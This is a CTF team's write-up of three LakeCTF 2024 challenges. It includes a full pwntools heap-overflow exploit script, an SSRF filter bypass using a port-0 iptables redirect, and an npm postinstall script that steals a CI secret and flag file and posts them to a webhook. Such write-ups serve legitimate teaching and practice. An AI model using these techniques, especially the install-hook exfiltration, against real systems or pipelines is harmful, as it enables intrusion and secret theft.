Yesterday we participated in LakeCTF 2024, a 24-hour jeopardy event for LakeCTF Finals. We ended up in first place! Here are some of the writeups for the challenges we solved.
Binary Exploitation
bash plus plus
What if you had a shell where you could only do maths?
nc chall.polygl0ts.ch 9034
We used a heap overflow from strcat
, which allowed unbounded input into a variable of fixed size, to modify variables stored in chunks created by C++ classes for address leaks and function calls.
Analysis
We are given a Dockerfile, binary, and source code for this challenge. Reading the source code, the program defines classes Log
and Variable
, Variable
having two child classes stringVariable
and longVariable
, along with enum TYPE
:
class Log {
int size;
char logs[10];
int get_size() {...}
void increase_size() {...}
void add_cmd_to_log(const char* cmd) {...}
void reset_log() {...}
};
enum TYPE {...};
class Variable {
TYPE type;
union {
long l;
char* s;
} value;
Variable(long l) : type(LONG) {...}
Variable(const char* s) : type(STRING) {...}
virtual void print() {...}
};
class longVariable : public Variable {
longVariable(long l) : Variable(l) {}
void print() override {...}
};
class stringVariable : public Variable {
void print() override {...}
};
A map variables
is also defined to store Variable
objects:
std::map<std::string, Variable*> variables;
The program also defines functions to deal with setting and getting the value of Variable
objects and allowing for basic arithmetic on longVariable
objects. The program also defines a win()
function, which prints the flag.
void setvar(const char* name, const char* p){...}
Variable* getvarbyname(const char* name) {...}
long getLongVar(const char* name) {...}
long getLongVar(const char* name) {...}
void process_arithmetic(char* cmd) {...}
void win() {...}
The main()
function allows for repeated input, and appears to process input to match certain syntaxes. The input goes to a char array each time, and although the input is unbound, it only seems to cause a program crash, but will come in handy. The inputs are processed as follows:
$((${var1_name}{op}${var2_name})
will callprocess_arithmetic()
${var_name}={var_value}
will callsetvar()
${var_name}
will store the output ofgetvarbyname()
in aVariable*
and callprint()
from the outputVariable
log
will set theLog *log log
variable to a newLog
object.- If the input does not match any of the formats above, it will just print the input and proceed
Getting a heap leak
The first input should be b"log"
, so the chunk it creates will be right next to chunks created by later commands instead of the cin
/cout
chunks it initially borders. The Log
implementation allows for infinite heap overflows, since each iteration adds the command using strcat
to a char array of length 10, which is stored on the heap.
p.sendlineafter(b"> ", b"log")
After reinitializing the log, we initialize a stringVariable
and a longVariable
:
p.sendlineafter(b"> ", b"$a=s") # stringVariable
p.sendlineafter(b"> ", b"$b=0") # longVariable
The heap starting from the log looks something like this:
--log--
log:
0x56521666e6e0 0x0000000000000000 0x0000000000000021 ........!.......
end of log ↓
0x56521666e6f0 0x24676f6c00000002 0x0000000000622461 ....log$a$b.....
--start of variable $a--
$a:
0x56521666e700 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16: type = STRING
0x56521666e710 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e720 0x000056521666e730 0x0000000000000021 0.f.RV..!.......
$a->value
0x56521666e730 0x0000000000000073 0x0000000000000000 s...............
variables[0]
0x56521666e740 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e750 0x0000000000000001 0x00005651f4dd4288 .........B..QV..
0x56521666e760 0x0000000000000000 0x000056521666e7c0 ..........f.RV..
0x56521666e770 0x000056521666e780 0x0000000000000001 ..f.RV..........
0x56521666e780 0x0000000000000061 0x0000000000000000 a...............
--start of variable $b--
$b:
0x56521666e790 0x000056521666e710 0x0000000000000021 ..f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e7a0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = 0 variables[1]
0x56521666e7b0 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e7c0 0x0000000000000000 0x000056521666e750 ........P.f.RV..
0x56521666e7d0 0x0000000000000000 0x0000000000000000 ................
0x56521666e7e0 0x000056521666e7f0 0x0000000000000001 ..f.RV..........
0x56521666e7f0 0x0000000000000062 0x0000000000000000 b...............
top chunk
0x56521666e800 0x000056521666e7a0 0x000000000000d801 ..f.RV..........
The chunks created by variables can be ignored
We will trigger a heap overflow to overwrite the type of $a
from a stringVariable
to a longVariable
. Sending 29 trash bytes will change the type of $a
to the null byte at the end of the input, or 0. Now that $a
is a longVariable
, it can be used in process_arithmetic
calculations. This is important because process_arithmetic
does not use the print()
function, but just sends the output of the math operation to stdout, since the value of the vtable entry for print()
has been overwritten with trash to overwrite the Variable
type.
std::cout << a {op} b << std::endl;
Since the longVariable
stores its value directly, sending $(($a+$b)
will print &$a->value + 0
, or just &$a->value
, which is relative to the heap base:
p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
Heap leak: 0x56521666e730
Getting a PIE Leak
Next, we will find the PIE base to calculate the win()
function address. A similar approach to the heap leak will be used, but this time it will use getLongVar
’s invalid variable message to leak a PIE address. When getLongVar
detects a Variable
does not have type LONG
, it will execute this:
std::cout << "Invalid variable " << name << ": " << v->value.s << std::endl;
where v
is:
Variable* v = getvarbyname(name);
If v->value.s
is an address that points to a PIE address (heap addr->PIE addr
), that PIE address will be leaked and the ELF base can be calculated. To start, reset the log so heap overflows will be easy to calculate.
p.sendlineafter(b"> ", b"log")
Create one stringVariable
and one longVariable
:
p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")
The heap starting from the new log will look something like this:
--log--
log:
0x56521666e800 0x000056521666e7a0 0x0000000000000021 ..f.RV..!.......
end of log ↓
0x56521666e810 0x24676f6c00000002 0x0000000000642463 ....log$c$d.....
--start of variable $c--
$c:
0x56521666e820 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16 type = STRING
0x56521666e830 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e840 0x000056521666e850 0x0000000000000021 P.f.RV..!.......
$c->value
0x56521666e850 0x0000000000000073 0x0000000000000000 s...............
variables[2]
0x56521666e860 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e870 0x0000000000000001 0x000056521666e7c0 ..........f.RV..
0x56521666e880 0x0000000000000000 0x000056521666e8e0 ..........f.RV..
0x56521666e890 0x000056521666e8a0 0x0000000000000001 ..f.RV..........
0x56521666e8a0 0x0000000000000063 0x0000000000000000 c...............
--start of variable $d--
$d:
0x56521666e8b0 0x000056521666e830 0x0000000000000021 0.f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e8c0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = 0 variables[3]
0x56521666e8d0 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e8e0 0x0000000000000000 0x000056521666e870 ........p.f.RV..
0x56521666e8f0 0x0000000000000000 0x0000000000000000 ................
0x56521666e900 0x000056521666e910 0x0000000000000001 ..f.RV..........
0x56521666e910 0x0000000000000064 0x0000000000000000 d...............
top chunk
0x56521666e920 0x000056521666e8c0 0x000000000000d6e1 ..f.RV..........
Overflowing 37 trash bytes will reach $c->value
, which can be overwritten with the heap address that points to a PIE address. To find this, we will look at the chunks created by our Variable
objects. These chunks contain vtable entries for the their print
functions, which are located in the section of memory affected by PIE therefore usable to calculate the ELF base. We can use xinfo
to calculate the offset of the address we leak to the ELF base.
pwndbg> xinfo 0x5651f4dd3be8
Extended information for virtual address 0x5651f4dd3be8:
Containing mapping:
0x5651f4dd3000 0x5651f4dd4000 r--p 1000 7000 ./bash_plus_plus/main
Offset information:
Mapped Area 0x5651f4dd3be8 = 0x5651f4dd3000 + 0xbe8
File (Base) 0x5651f4dd3be8 = 0x5651f4dcb000 + 0x8be8
File (Segment) 0x5651f4dd3be8 = 0x5651f4dd3ba8 + 0x40
File (Disk) 0x5651f4dd3be8 = ./bash_plus_plus/main + 0x7be8
Containing ELF sections:
.data.rel.ro 0x5651f4dd3be8 = 0x5651f4dd3bc0 + 0x28
Removing the absolute path
So, our payload will be:
payload = flat([
cyclic(37),
heap_leak+112, # &$b->print
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
# &$b->print - offset = base
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
PIE: 0x5651f4dcb000
win
ning
Our final goal is to overwrite a Variable
object’s print
function with win
, then call it. First we reset the log.
p.sendlineafter(b"> ", b"log")
To call win()
, we need to create a pointer of the win()
function (ptr->win
). This can be done by creating a longVariable
that contains the win()
function, then creating a stringVariable
and overwriting its print()
function address with the address to the longVariable
containing win
.
p.sendlineafter(b"> ", b"$e=s") # To overwrite print
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode()) # to hold win address
This is the heap starting from the new log:
--log--
log:
0x56521666e920 0x000056521666e8c0 0x0000000000000021 ..f.RV..!.......
end of log ↓
0x56521666e930 0x24676f6c00000002 0x0000006e69772465 ....log$e$win...
--start of variable $e--
$e:
0x56521666e940 0x0000000000000000 0x0000000000000021 ........!.......
vtable for
stringVariable+16 type = STRING
0x56521666e950 0x00005651f4dd3bd0 0x0000000000000001 .;..QV..........
&value
0x56521666e960 0x000056521666e970 0x0000000000000021 p.f.RV..!.......
$e->value
0x56521666e970 0x0000000000000073 0x0000000000000000 s...............
variables[4]
0x56521666e980 0x0000000000000000 0x0000000000000051 ........Q.......
0x56521666e990 0x0000000000000001 0x000056521666e8e0 ..........f.RV..
0x56521666e9a0 0x0000000000000000 0x000056521666ea00 ..........f.RV..
0x56521666e9b0 0x000056521666e9c0 0x0000000000000001 ..f.RV..........
0x56521666e9c0 0x0000000000000065 0x0000000000000000 e...............
--start of variable $win--
$win:
0x56521666e9d0 0x000056521666e950 0x0000000000000021 P.f.RV..!.......
vtable for
longVariable+16 type = LONG
0x56521666e9e0 0x00005651f4dd3be8 0x0000000000000000 .;..QV..........
value = &win variables[5]
0x56521666e9f0 0x00005651f4dcddad 0x0000000000000051 ....QV..Q.......
0x56521666ea00 0x0000000000000000 0x000056521666e990 ..........f.RV..
0x56521666ea10 0x0000000000000000 0x0000000000000000 ................
0x56521666ea20 0x000056521666ea30 0x0000000000000003 0.f.RV..........
0x56521666ea30 0x00000000006e6977 0x0000000000000000 win.............
top chunk
0x56521666ea40 0x000056521666e9e0 0x000000000000d5c1 ..f.RV..........
Overwriting the print()
function address with &$e->value
using the heap overflow:
payload = flat([
cyclic(19),
heap_leak+704, # $win->value
])
p.sendlineafter(b"> ", payload)
To call win()
, we just need to try to print the variable (${var_name}
).
p.sendlineafter(b"> ", b"$e")
flag{}
Running the script on remote:
EPFL{why_add_a_logging_feature_in_the_first_place}
Final solve script:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./main")
gdbscript = """
brva 0x2ff0
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("chall.polygl0ts.ch", 9034)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
# heap leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$a=s")
p.sendlineafter(b"> ", b"$b=0")
p.sendlineafter(b"> ", cyclic(29))
p.sendlineafter(b"> ", b"$(($a+$b)")
heap_leak = int(p.recvline(keepends=False))
log.info(f"Heap leak: {heap_leak:#x}")
# elf leak
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$c=s")
p.sendlineafter(b"> ", b"$d=0")
payload = flat([
cyclic(37),
heap_leak+112,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$(($c+$d)")
elf.address = u64(p.recvline(keepends=False)[20:].ljust(8, b'\0')) - 0x8be8
log.info(f"PIE: {elf.address:#x}")
# solve
p.sendlineafter(b"> ", b"log")
p.sendlineafter(b"> ", b"$e=s")
p.sendlineafter(b"> ", f"$win={elf.address+11693}".encode())
payload = flat([
cyclic(19),
heap_leak+704,
])
p.sendlineafter(b"> ", payload)
p.sendlineafter(b"> ", b"$e")
p.interactive()
p.interactive()
Web
o1
This challenge was generated by chatgpt o1-mini. The website contains three main components:
@app.route('/secret', methods=['GET'])
def secret():
# Allow access only from localhost
if request.remote_addr != '127.0.0.1':
return 'Access denied', 403
return 'EPFL{fake_flag}', 200
...
@app.route('/proxy', methods=['GET'])
def proxy():
url = request.args.get('url', '')
if not url:
return 'Missing url parameter', 400
# Replace backslashes with slashes
url = url.replace('\\', '/')
parsed = urllib.parse.urlparse(url)
# Check for valid protocol
if parsed.scheme not in ['http', 'https']:
return 'invalid protocol', 400
# Check for custom port
if parsed.port:
return 'no custom port allowed', 400
# Forward the request to the second proxy
try:
response = requests.post('http://localhost:1111/proxy', json={'url': url}, timeout=5)
return response.text, response.status_code
except requests.exceptions.RequestException:
return 'Error contacting second proxy', 500
@app.route('/proxy', methods=['POST'])
def proxy():
data = request.get_json()
if not data or 'url' not in data:
return 'Missing url parameter', 400
url = data['url']
parsed = urllib.parse.urlparse(url)
scheme = parsed.scheme
hostname = parsed.hostname
port = parsed.port
# Determine the port if not explicitly specified
if port is None:
try:
port = socket.getservbyname(scheme)
except:
return 'Invalid scheme', 400
# Validate the target domain based on the port
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
# Forward the request to the third proxy
try:
response = requests.post('http://localhost:3000/proxy', json={'url': url}, timeout=5)
return response.text, response.status_code
except requests.exceptions.RequestException:
return 'Error contacting third proxy', 500
...
app.post('/proxy', async (req, res) => {
const url = req.body.url;
if (!url) {
return res.status(400).send('Missing url parameter');
}
try {
// Use Node.js's built-in fetch function
const response = await fetch(url);
const data = await response.text();
// Forward the response back to the caller
res.status(response.status).send(data);
} catch (error) {
console.error('Error fetching the URL:', error);
res.status(500).send('Error fetching the URL');
}
});
...
The only port that’s exposed is port 9222, and goal is to fetch 127.0.0.1:9222/secret
from your local machine.
Look into app1.py
’s code, it’s trying to get the request IP address by request.remote_addr
. There shouldn’t be any http header bypass in here; however, it’s always a good idea to check. So I just used this payload list and, of course, it didn’t work:
So the only approach for solving is to bypass the checkers in the program: app1.py
-> app2.py
-> app3.js
-> app1.py
.
Checkers?
app1.py
will replace all the backslashes, and then makes sure the URL schema is HTTP or HTTPS without custom ports allowed. If our goal is to let app3.js
request http://127.0.0.1:9222/secret
, we need to have a way to smuggle in the custom port.
Now looking into app2.py
, it’s even more harsh. It checks the URL if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'): return 400
, which totally removes the idea of requesting 127.0.0.1
.
The good thing here is that there is no checker on app3.js
; however, it’s using node.js’s fetch()
which we only can use HTTP and HTTPS protocol URLs (file:///
is not supported, so we can’t just fetch file:///app1.py
).
URL confusion attempts
One possibility here is to bypass the checker by using the difference between node.js’s fetch()
and Python’s urllib.parse.urlparse(url)
. Python’s urllib
strictly follows RFC3986 protocol (formal definition from here):
For a more simple picture:
The first idea is that everything in front of the @
is actually the credentials of the URL, not the actual domain. Interestingly enough, everything after \
in Python will be just ignored.
So in combination, if I request https://attacker.com\@@example.com
, it would actually take me to https://attacker.com
in normal browser:
>https://[email protected]
example.com
>https://attacker.com%[email protected]
example.com
>https://attacker.com\@@example.com
example.com
>https://attacker.com:\@@example.com
example.com
>https://attacker.com\[email protected]/
example.com
Sadly in fetch()
, due to safety issues they don’t allow credentials in the URL:
By adding extra \
, can bypass both node.js’s fetch()
and also bypass the Python checker:
Now that fetch()
is working, we have another issue: app2.py
is checking if the port is 80 or 443 or not. The scheme is what determines the port:
My second idea is to smuggle in some wired scheme such that it would go to some interesting place. The socket.getservbyname()
function will read the /etc/services
. In the Docker that’s provided, there isn’t anything on port 9222, which is sad. Plus, we can’t really smuggle in a scheme because it’s strictly checked by RF3986.
ChatGPT moment
I always feel that since this code is generated by ChatGPT that there must be some error in the programming logic that’s hard to find. After a day of struggling, we saw this section:
Here, it’s checking the parsed port. What if the port is 0? Then if parsed.port
will be always False
and pass the app1.py
checker!
And in the second checker:
The if
statement only checks the domain when the port is 443 or 80. If the port is 0, it won’t check at all. Thus, the second checker gets passed!
Now the question becomes: is hosting server on port 0 possible?
Port 0
Node.js’s fetch()
supports port 0 and we tested it, so it won’t randomly send to a port. After tons of research, it seems impossible to host a server on port 0:
Here is the post.
Everything hosted there will be assigned a random port.
However, not being able to host on port 0 doesn’t mean it can’t be redirected to another port.
In this post, the author uses iptables
to redirect port 0 to 80 and successfully curls port 0 to get the response.
So we used the same method and set up our server:
iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80
Where on port 80 we set a redirection to http://127.0.0.1:9222/secret
(thankfully, Node.js’s fetch()
don’t care about unsafe fetch).
Flagg!!
curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<youripaddr>:0"{:shell}
EPFL{gpt ch411zz is the nEw m3t4}
Misc
VerySusOrganization
We are given a link to a website that when opened allows us to generate an invite to a github organization. After accepting our invite we gain access to the highly suspicious: https://github.com/VerySusOrganization2 where we find only two repositories
Looking into the sus-image-generator-repo we are able to find a rather interesting github actions script
name: Trigger Build on Comment
on:
issue_comment:
types: [created, edited]
jobs:
check-build:
if: ${{ startsWith(github.event.comment.body, '/run-build') }}
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Set up SSH
env:
ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
FLAG: ${{ secrets.FLAG }}
run: |
pwd
mkdir -p ~/.ssh
echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
echo "$FLAG" > ~/flag.txt
chmod 600 ~/.ssh/id_rsa
ssh-keyscan github.com >> ~/.ssh/known_hosts
- name: Install dependencies
run: |
npm install
Whenever a comment is added on issues that starts with the string “/run-build” the action will clone the repository, write our flag from the FLAG environment variable to a flag.txt in the home directory, and run npm install.
{
"name": "sus-image-generator",
"version": "1.0.0",
"main": "app.js",
"keywords": [],
"author": "paultisaw",
"license": "ISC",
"description": "Yet another sus image generator",
"dependencies": {
"express": "^4.21.1",
"suspicious-random-number-generator": "git+ssh://[email protected]:VerySusOrganization2/suspicious-random-number-generator-repo-ZeroDayTea.git"
}
}
Luckily for us, looking at the package.json (which specifies the dependencies to be installed) we find that our repository from earlier “suspicious-random-number-generator” is listed as a dependency. That way we can write to our suspicious-random-number-generator repository and that code will be installed upon leaving a “/run-build” comment.
How can we get code to run upon installing our other repo as a dependency though? Easily enough we can just rely on npm’s preinstall/postinstall scripts. Initially, the package.json for the suspicious-random-number-generator-repo looks like
{
"name": "suspicious-random-number-generator",
"version": "1.0.0",
"main": "index.js",
"author": "paultisaw",
"description": "Yet another suspicious random number generator"
}
but we can modify it to include a postinstall script that looks like
{
"name": "suspicious-random-number-generator",
"version": "1.0.0",
"main": "index.js",
"author": "paultisaw",
"description": "Yet another suspicious random number generator",
"scripts": {
"postinstall": "node postinstall.js"
}
}
and additionally we add a postinstall.js script that will read the flag and send it to an endpoint we control
const https = require('https');
function sendToWebhook(data) {
const webhookUrl = new URL('https://webhook.site/[custom webhook]');
const req = https.request({
hostname: webhookUrl.hostname,
path: webhookUrl.pathname,
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
})
req.write(JSON.stringify(data));
req.end();
}
const fs = require('fs');
const flag = process.env.FLAG || fs.readFileSync('/home/runner/flag.txt', 'utf8').trim();
sendToWebhook({ message: "Postinstall triggered", flag: flag });
This way we can write any javascript code in our postinstall.js and it will get triggered right after the npm install
runs. With the above script we can read the flag file from the directory it was created in and send it to an endpoint we control like a webhook.
After committing the changes to our repo we go back to the sus-image-generator-repo, create an issue, and leave the necessary “/run-build” comment to trigger our build.
after which we check our webhook and see that we’ve gotten the flag.
{ "message": "Postinstall triggered", "flag": "
⢀⣀⣀⣴⣆⣠⣤⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣻⣿⣯⣘⠹⣧⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠿⢿⣿⣷⣾⣯⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⠜⣿⡍⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠁⠀⠘⣿⣆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡟⠃⡄⠀⠘⢿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣁⣋⣈ ⣤⣮⣿⣧⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠛⠉⠙⠛⠛⠛⠛⠻⢿⣿⣷⣤⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠈⢻⣿⣿⡄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣸⣿⡏⠀⠀⠀⣠⣶⣾⣿⣿⣿⠿⠿⠿⢿⣿⣿⣿⣄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠁⠀⠀⢰⣿⣿⣯⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣷⡄⠀
⠀⠀⣀⣤⣴⣶⣶⣿⡟⠀⠀⠀⢸⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⠀
⠀⢰⣿⡟⠋⠉⣹⣿⡇⠀⠀⠀⠘⣿⣿⣿⣿⣷⣦⣤⣤⣤⣶⣶⣶⣶⣿⣿⣿⠀
⠀⢸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀
⠀⣸⣿⡇⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠉⠻⠿⣿⣿⣿⣿⡿⠿⠿⠛⢻⣿⡇⠀⠀
⠀⣿⣿⠁⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣧⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⣿⣿⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠀⠀
⠀⢿⣿⡆⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀
⠀⠸⣿⣧⡀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀
⠀⠀⠛⢿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⣰⣿⣿⣷⣶⣶⣶⣶⠶⠀⢠⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⣽⣿⡏⠁⠀⠀⢸⣿⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⣿⣿⡇⠀⢹⣿⡆⠀⠀⠀⣸⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⣦⣄⣀⣠⣴⣿⣿⠁⠀⠈⠻⣿⣿⣿⣿⡿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⠿⠿⠿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
🎉 CONGRATULATIONS 🎉
EPFL{ThIS_was_inD33d_very_Sus}" }